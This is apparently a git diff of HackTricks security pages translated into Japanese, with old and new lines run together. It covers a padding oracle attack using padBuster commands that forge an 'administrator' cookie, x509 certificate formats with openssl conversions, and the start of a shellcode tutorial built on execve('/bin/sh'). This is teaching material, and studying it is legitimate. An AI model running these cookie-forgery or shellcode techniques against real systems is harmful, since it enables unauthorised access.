perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator" perl ./padBuster.pl http://10.10.10.10/index.php "RVJDQrwUdTRWJUVUeBKkEA==" 8 -encoding 0 -cookies "login=RVJDQrwUdTRWJUVUeBKkEA==" -plaintext "user=administrator"
``` ```
もしサイトが脆弱性を持っている場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。 サイトが脆弱な場合、`padbuster`は自動的にパディングエラーが発生するタイミングを見つけようとしますが、**-error**パラメータを使用してエラーメッセージを指定することもできます。
```bash ```bash
perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding" perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon=RVJDQrwUdTRWJUVUeBKkEA==" -error "Invalid padding"
``` ```
### 理論 ### 理論
**要約すると**異なる**パディング**を作成するために使用できる正しい値を推測して、暗号化されたデータの復号化を開始できます。その後、パディングオラクル攻撃は、**1、2、3などのパディングを作成する正しい値を推測**して、最後から最初にバイトを復号化し始めます。 **要約**すると、すべての**異なるパディング**を作成するために使用できる正しい値を推測することで、暗号化されたデータの復号を開始できます。次に、パディングオラクル攻撃が、1、2、3などのパディングを**作成する**正しい値を推測しながら、最後から最初へバイトを復号し始めます。
![](<../.gitbook/assets/image (561).png>) ![](<../.gitbook/assets/image (561).png>)
**E0からE15**までのバイトで形成される**2つのブロック**を占める暗号化されたテキストがあると想像してください。\ **E0からE15**のバイトで構成された**2ブロック**を占める暗号化されたテキストがあると想像してください。\
**最後のブロック****E8**から**E15**)を**復号化**するために、ブロック暗号の復号化を通過すると、**中間バイトI0からI15**が生成されます。\ **最後の** **ブロック****E8**から**E15**)を**復号**するために、全ブロックが「ブロック暗号復号」を通過し、**中間バイトI0からI15**を生成します。\
最後に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。つまり 最後に、各中間バイトは前の暗号化されたバイトE0からE7と**XOR**されます。したがって
* `C15 = D(E15) ^ E7 = I15 ^ E7` * `C15 = D(E15) ^ E7 = I15 ^ E7`
* `C14 = I14 ^ E6` * `C14 = I14 ^ E6`
@ -84,41 +85,42 @@ perl ./padBuster.pl http://10.10.10.10/index.php "" 8 -encoding 0 -cookies "hcon
* `C12 = I12 ^ E4` * `C12 = I12 ^ E4`
* ... * ...
今、`C15`が`0x01`になるまで`E7`を変更することが可能で、これも正しいパディングになります。したがって、この場合`\x01 = I15 ^ E'7` 今、**C15が`0x01`になるまで`E7`を** **変更**することが可能です。これも正しいパディングになります。したがって、この場合: `\x01 = I15 ^ E'7`
したがって、`E'7`を見つけると、**I15を計算することが可能**です:`I15 = 0x01 ^ E'7` E'7を見つける、**I15を計算することが可能です** `I15 = 0x01 ^ E'7`
これにより、**C15を計算**することが可能になります:`C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7` これにより、**C15を計算することができます** `C15 = E7 ^ I15 = E7 ^ \x01 ^ E'7`
**C15**を知っているので、**C14を計算**することが可能になりますが、この時はパディング`\x02\x02`をブルートフォースします。 **C15**を知っているので、今度は**C14を計算することが可能です**が、今回はパディング`\x02\x02`をブルートフォースします。
このBFは前のものと同じくらい複雑です。0x02の値を持つ`E''15`を計算できるので、`E''7 = \x02 ^ I15`を見つけるだけで、**`C14が0x02に等しい`**`E'14`を見つける必要があります。\ このブルートフォースは前のものと同じくらい複雑で、値が0x02の`E''15`を計算することが可能です: `E''7 = \x02 ^ I15` したがって、**`C14`が`0x02`に等しい** **`E'14`**を見つけるだけです。\
その後、C14を復号化するために同じ手順を実行します**`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`** 次に、C14を復号するために同じ手順を行います **`C14 = E6 ^ I14 = E6 ^ \x02 ^ E''6`**
**このチェーンに従って、暗号化されたテキスト全体を復号します。** **このチェーンをたどって、暗号化されたテキスト全体を復号します。**
### 脆弱性の検出 ### 脆弱性の検出
このアカウントで登録してログインします。\ アカウントを登録し、このアカウントでログインします。\
**何度もログイン**しても**常に同じクッキー**を取得する場合、アプリケーションにはおそらく**何か問題**があります。ログインするたびに送信されるクッキーは**一意であるべき**です。クッキーが**常に同じ**であれば、おそらく常に有効で**無効にする方法はない**でしょう **何度もログイン**して、常に**同じクッキー**を取得する場合、アプリケーションに**何か** **問題**がある可能性があります。**送信されるクッキーは、ログインするたびに一意であるべきです**。クッキーが**常に** **同じ**であれば、それはおそらく常に有効であり、無効にする方法は**ありません**
次に、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返ってくることがわかります。\ 、**クッキーを変更**しようとすると、アプリケーションから**エラー**が返されることがわかります。\
ただし、パディングをBFするとたとえばpadbusterを使用、別のユーザーに対して有効な別のクッキーを取得できます。このシナリオはpadbusterに非常に脆弱性がある可能性が高いです。 しかし、パディングをブルートフォース例えば、padbusterを使用すると、異なるユーザーに対して有効な別のクッキーを取得することができます。このシナリオは、padbusterに対して非常に脆弱である可能性があります。
### 参考文献 ### 参考文献
* [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation) * [https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation](https://en.wikipedia.org/wiki/Block\_cipher\_mode\_of\_operation)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary>Support HackTricks</summary>
HackTricksをサポートする他の方法 * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する
</details> </details>
{% endhint %}

View file

@ -1,58 +1,59 @@
# 証明書 # 証明書
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使って、**ゼロからヒーローまでAWSハッキングを学びましょう**</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 証明書とは ## 証明書とは
**公開鍵証明書**は、暗号化で使用されるデジタルIDであり、誰かが公開鍵を所有していることを証明するために使用されます。これには、鍵の詳細、所有者の身元サブジェクト、および信頼された機関(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。 **公開鍵証明書**は、暗号学で誰かが公開鍵を所有していることを証明するために使用されるデジタルIDです。これには、鍵の詳細、所有者の身元サブジェクト、および信頼できる権限(発行者)からのデジタル署名が含まれます。ソフトウェアが発行者を信頼し、署名が有効であれば、鍵の所有者との安全な通信が可能です。
証明書は主に[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)CAsによって[公開鍵インフラストラクチャ](https://en.wikipedia.org/wiki/Public-key\_infrastructure)PKIセットアップで発行されます。別の方法は[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)であり、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)であり、RFC 5280で詳細に説明されている特定のニーズに適応できます。 証明書は主に[証明書機関](https://en.wikipedia.org/wiki/Certificate\_authority)CA)によって[公開鍵基盤](https://en.wikipedia.org/wiki/Public-key\_infrastructure)PKIセットアップで発行されます。別の方法は[信頼のウェブ](https://en.wikipedia.org/wiki/Web\_of\_trust)で、ユーザーが直接お互いの鍵を検証します。証明書の一般的な形式は[X.509](https://en.wikipedia.org/wiki/X.509)で、RFC 5280に記載されている特定のニーズに合わせて調整できます。
## x509共通フィールド ## x509の一般的なフィールド
### **x509証明書の共通フィールド** ### **x509証明書の一般的なフィールド**
x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保するために重要な役割を果たします。これらのフィールドの詳細は次のとおりです: x509証明書では、いくつかの**フィールド**が証明書の有効性とセキュリティを確保する上で重要な役割を果たします。これらのフィールドの内訳は次のとおりです:
- **バージョン番号**はx509形式のバージョンを示します。 * **バージョン番号**はx509形式のバージョンを示します。
- **シリアル番号**は、主に取り消し追跡のために証明書機関CAシステム内で証明書を一意に識別します。 * **シリアル番号**は、証明書機関CAのシステム内で証明書を一意に識別し、主に取り消し追跡に使用されます。
- **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。以下の詳細な識別情報が含まれます: * **サブジェクト**フィールドは、証明書の所有者を表し、機械、個人、または組織である可能性があります。詳細な識別情報が含まれます:
- **Common Name (CN)**: 証明書でカバーされるドメイン。 * **共通名CN**証明書でカバーされるドメイン。
- **Country (C)**、**Locality (L)**、**State or Province (ST, S, or P)**、**Organization (O)**、および**Organizational Unit (OU)**は地理的および組織的な詳細を提供します。 * **国C**、**地域L**、**州または省ST、S、またはP**、**組織O**、および**組織単位OU**は、地理的および組織的な詳細を提供します。
- **Distinguished Name (DN)**は完全なサブジェクト識別をカプセル化します。 * **識別名DN**は、完全なサブジェクト識別をカプセル化します。
- **発行者**は、CAのためのサブジェクトと同様のサブフィールドを含め、誰が証明書を検証して署名したかを示します。 * **発行者**は、証明書を検証し署名した人を示し、CAのサブジェクトと同様のサブフィールドを含みます。
- **有効期間**は、**Not Before**および**Not After**のタイムスタンプによってマークされ、証明書が特定の日付前または後に使用されないようにします。 * **有効期間**は、**Not Before**および**Not After**のタイムスタンプで示され、証明書が特定の日付の前または後に使用されないことを保証します。
- 証明書のセキュリティに重要な**公開鍵**セクションは、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。 * **公開鍵**セクションは、証明書のセキュリティにとって重要であり、公開鍵のアルゴリズム、サイズ、およびその他の技術的詳細を指定します。
- **x509v3拡張**は、証明書の機能性を向上させ、**Key Usage**、**Extended Key Usage**、**Subject Alternative Name**などのプロパティを指定して証明書のアプリケーションを微調整します。 * **x509v3拡張**は、証明書の機能を強化し、**鍵の使用**、**拡張鍵の使用**、**サブジェクト代替名**、および証明書の適用を微調整するためのその他のプロパティを指定します。
#### **Key Usageと拡張** #### **鍵の使用と拡張**
- **Key Usage**は、公開鍵の暗号化アプリケーションを識別します(デジタル署名や鍵の暗号化など) * **鍵の使用**は、公開鍵の暗号化アプリケーションを特定します。例えば、デジタル署名や鍵の暗号化などです
- **Extended Key Usage**は、証明書の使用ケースをさらに絞り込みますTLSサーバー認証用 * **拡張鍵の使用**は、証明書の使用ケースをさらに絞り込みます。例えば、TLSサーバー認証用です
- **Subject Alternative Name**および**Basic Constraint**は、証明書でカバーされる追加のホスト名を定義し、それがCA証明書かエンドエンティティ証明書かを示します。 * **サブジェクト代替名**および**基本制約**は、証明書でカバーされる追加のホスト名と、それがCAまたはエンドエンティティ証明書であるかどうかを定義します。
- **Subject Key Identifier**および**Authority Key Identifier**などの識別子は、鍵の一意性と追跡可能性を確保します。 * **サブジェクト鍵識別子**や**権限鍵識別子**などの識別子は、鍵の一意性と追跡可能性を確保します。
- **Authority Information Access**および**CRL Distribution Points**は、発行CAを検証し、証明書の取り消し状態を確認するためのパスを提供します。 * **権限情報アクセス**および**CRL配布ポイント**は、発行CAを検証し、証明書の取り消し状況を確認するためのパスを提供します。
- **CT Precertificate SCTs**は、証明書への公共の信頼に不可欠な透明性ログを提供します。 * **CTプレ証明書SCT**は、証明書に対する公的信頼にとって重要な透明性ログを提供します。
```python ```python
# Example of accessing and using x509 certificate fields programmatically: # Example of accessing and using x509 certificate fields programmatically:
from cryptography import x509 from cryptography import x509
@ -76,55 +77,57 @@ print(f"Public Key: {public_key}")
``` ```
### **OCSPとCRL配布ポイントの違い** ### **OCSPとCRL配布ポイントの違い**
**OCSP****RFC 2560**)は、デジタル公開鍵証明書が取り消されたかどうかを確認するために、クライアントとレスポンダーが協力して作業する方法であり、完全な**CRL**をダウンロードする必要がない。この方法は、取り消された証明書のシリアル番号のリストを提供しますが、潜在的に大きなファイルをダウンロードする必要がある従来の**CRL**よりも効率的です。CRLには最大512エントリを含めることができます。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で入手できます。 **OCSP** (**RFC 2560**) は、クライアントとレスポンダーが協力してデジタル公開鍵証明書が取り消されたかどうかを確認する方法で、完全な**CRL**をダウンロードする必要がありません。この方法は、取り消された証明書のシリアル番号のリストを提供する従来の**CRL**よりも効率的であり、潜在的に大きなファイルをダウンロードする必要があります。CRLには最大512件のエントリが含まれることがあります。詳細は[こちら](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm)で確認できます。
### **証明書透明性とは** ### **証明書透明性とは**
証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに可視であることを確認することで、証明書関連の脅威に対抗します。その目的は次のとおりです: 証明書透明性は、SSL証明書の発行と存在がドメイン所有者、CA、およびユーザーに見えるようにすることで、証明書関連の脅威と戦うのに役立ちます。その目的は次のとおりです:
* ドメイン所有者の知識なしにドメインのためにSSL証明書を発行するCAを防ぐこと。 * ドメイン所有者の知らないうちにCAがSSL証明書を発行するのを防ぐこと。
* 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。 * 誤ってまたは悪意を持って発行された証明書を追跡するためのオープンな監査システムを確立すること。
* ユーザーを詐欺的な証明書から保護すること。 * ユーザーを詐欺的な証明書から保護すること。
#### **証明書ログ** #### **証明書ログ**
証明書ログは、ネットワークサービスによって維持される証明書の公開監査可能な追加専用レコードであり、監査目的のための暗号的証拠を提供します。発行機関と一般の両方がこれらのログに証明書を提出したり、検証のためにクエリを送信したりできます。ログサーバーの正確な数は固定されていませんが、グローバルで1000未満であると予想されています。これらのサーバーは、CA、ISP、または関心を持つ任意のエンティティによって独立して管理される可能性があります。 証明書ログは、ネットワークサービスによって維持される公開監査可能な追加専用の証明書記録です。これらのログは監査目的のための暗号的証明を提供します。発行機関と一般の人々は、これらのログに証明書を提出したり、検証のために照会したりできます。ログサーバーの正確な数は固定されていませんが、世界中で千未満であると予想されています。これらのサーバーは、CA、ISP、または関心のある任意の団体によって独立して管理されることがあります。
#### **クエリ** #### **照会**
任意のドメインの証明書透明性ログを調べるには、[https://crt.sh/](https://crt.sh)を訪れてください。 任意のドメインの証明書透明性ログを探索するには、[https://crt.sh/](https://crt.sh)を訪問してください。
証明書を保存するための異なるフォーマットが存在し、それぞれに独自の使用ケースと互換性があります。この要約では、主要なフォーマットをカバーし、それらの間の変換に関するガイダンスを提供します。
## **フォーマット** ## **フォーマット**
### **PEMフォーマット** ### **PEMフォーマット**
* 証明書最も広く使用されているフォーマット。 * 証明書最も広く使用されているフォーマット。
* 証明書と秘密鍵の別々のファイルが必要で、Base64 ASCIIでエンコードされています。 * 証明書と秘密鍵のために別々のファイルが必要で、Base64 ASCIIでエンコードされています。
* 一般的な拡張子:.cer、.crt、.pem、.key。 * 一般的な拡張子:.cer, .crt, .pem, .key。
* 主にApacheおよび類似のサーバーで使用されます。 * 主にApacheや同様のサーバーで使用されます。
### **DERフォーマット** ### **DERフォーマット**
* 証明書のバイナリフォーマット。 * 証明書のバイナリフォーマット。
* PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントが欠けています * PEMファイルに見られる「BEGIN/END CERTIFICATE」ステートメントがありません
* 一般的な拡張子:.cer.der。 * 一般的な拡張子:.cer, .der。
* Javaプラットフォームでよく使用されます。 * Javaプラットフォームでよく使用されます。
### **P7B/PKCS#7フォーマット** ### **P7B/PKCS#7フォーマット**
* Base64 ASCIIで保存され、拡張子は.p7bまたは.p7cです * Base64 ASCIIで保存され、拡張子は.p7bまたは.p7c。
* 秘密鍵を除く証明書とチェーン証明書のみを含みます。 * 秘密鍵を除く証明書とチェーン証明書のみを含みます。
* Microsoft WindowsおよびJava Tomcatでサポートされています。 * Microsoft WindowsおよびJava Tomcatでサポートされています。
### **PFX/P12/PKCS#12フォーマット** ### **PFX/P12/PKCS#12フォーマット**
* サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマット。 * サーバー証明書、中間証明書、および秘密鍵を1つのファイルにカプセル化するバイナリフォーマット。
* 拡張子:.pfx.p12。 * 拡張子:.pfx, .p12。
* 証明書のインポートおよびエクスポートにWindowsで主に使用されます。 * 主にWindowsで証明書のインポートとエクスポートに使用されます。
### **フォーマットの変換** ### **フォーマットの変換**
互換性のために**PEM変換**が重要です: **PEM変換**は互換性のために重要です:
* **x509からPEMへ** * **x509からPEMへ**
```bash ```bash
@ -138,58 +141,59 @@ openssl x509 -outform der -in certificatename.pem -out certificatename.der
```bash ```bash
openssl x509 -inform der -in certificatename.der -out certificatename.pem openssl x509 -inform der -in certificatename.der -out certificatename.pem
``` ```
* **PEMからP7Bへ** * **PEM から P7B へ**
```bash ```bash
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
``` ```
* **PKCS7をPEM形式変換する** * **PKCS7をPEMに**
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
``` ```
**PFX変換**はWindowsで証明書管理するために重要です: **PFX 変換**はWindows証明書管理において重要です:
* **PFXからPEM** * **PFX から PEM**
```bash ```bash
openssl pkcs12 -in certificatename.pfx -out certificatename.pem openssl pkcs12 -in certificatename.pfx -out certificatename.pem
``` ```
* **PFXをPKCS#8に変換する**には、2つのステップが必要です: * **PFX to PKCS#8** は2つのステップを含みます:
1. PFXをPEMに変換しま 1. PFXをPEMに変換す
```bash ```bash
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
``` ```
2. PEMをPKCS8に変換します。 2. PEMをPKCS8に変換する
```bash ```bash
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8 openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
``` ```
* **P7BをPFXに** 変換するには、2つのコマンドが必要です * **P7B to PFX** には、2つのコマンドが必要です
1. P7BをCERに変換します。 1. P7BをCERに変換する
```bash ```bash
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
``` ```
2. CERおよびプライベートキーをPFXに変換します。 2. CERとプライベートキーをPFXに変換する
```bash ```bash
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
``` ```
*** ***
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスしてください 今すぐアクセスを取得
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>で**ゼロからヒーローまでAWSハッキングを学ぶ**</summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
</details> </details>
{% endhint %}

View file

@ -1,37 +1,38 @@
# Linux Exploiting (Basic) (SPA) # Linux Exploiting (Basic) (SPA)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
HackTricks をサポートする他の方法: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください**
* **ハッキングトリックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに貢献してください
</details> </details>
{% endhint %}
## **2.SHELLCODE** ## **2.SHELLCODE**
View kernel interrupts: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_” カーネルの割り込みを表示する: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
setreuid(0,0); // \_\_NR\_setreuid 70\ setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\ execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1 exit(0); // \_\_NR\_exit 1
xor eax, eax ; clear eax\ xor eax, eax ; eaxをクリア\
xor ebx, ebx ; ebx = 0 as there are no arguments to pass\ xor ebx, ebx ; ebx = 0 なので引数は渡さない\
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\ mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Execute syscall int 0x80 ; システムコールを実行
**nasm -f elf assembly.asm** —> Returns a .o file\ **nasm -f elf assembly.asm** —> .oファイルを返す\
**ld assembly.o -o shellcodeout** —> Generates an executable with the assembly code and we can extract the opcodes with **objdump**\ **ld assembly.o -o shellcodeout** —> アセンブリコードから形成された実行可能ファイルを得て、**objdump**でオペコードを抽出できる\
**objdump -d -Mintel ./shellcodeout** —> To verify that it is indeed our shellcode and extract the OpCodes **objdump -d -Mintel ./shellcodeout** —> 実際に私たちのシェルコードであることを確認し、オペコードを抽出する
**Verify that the shellcode works** **シェルコードが機能するか確認する**
``` ```
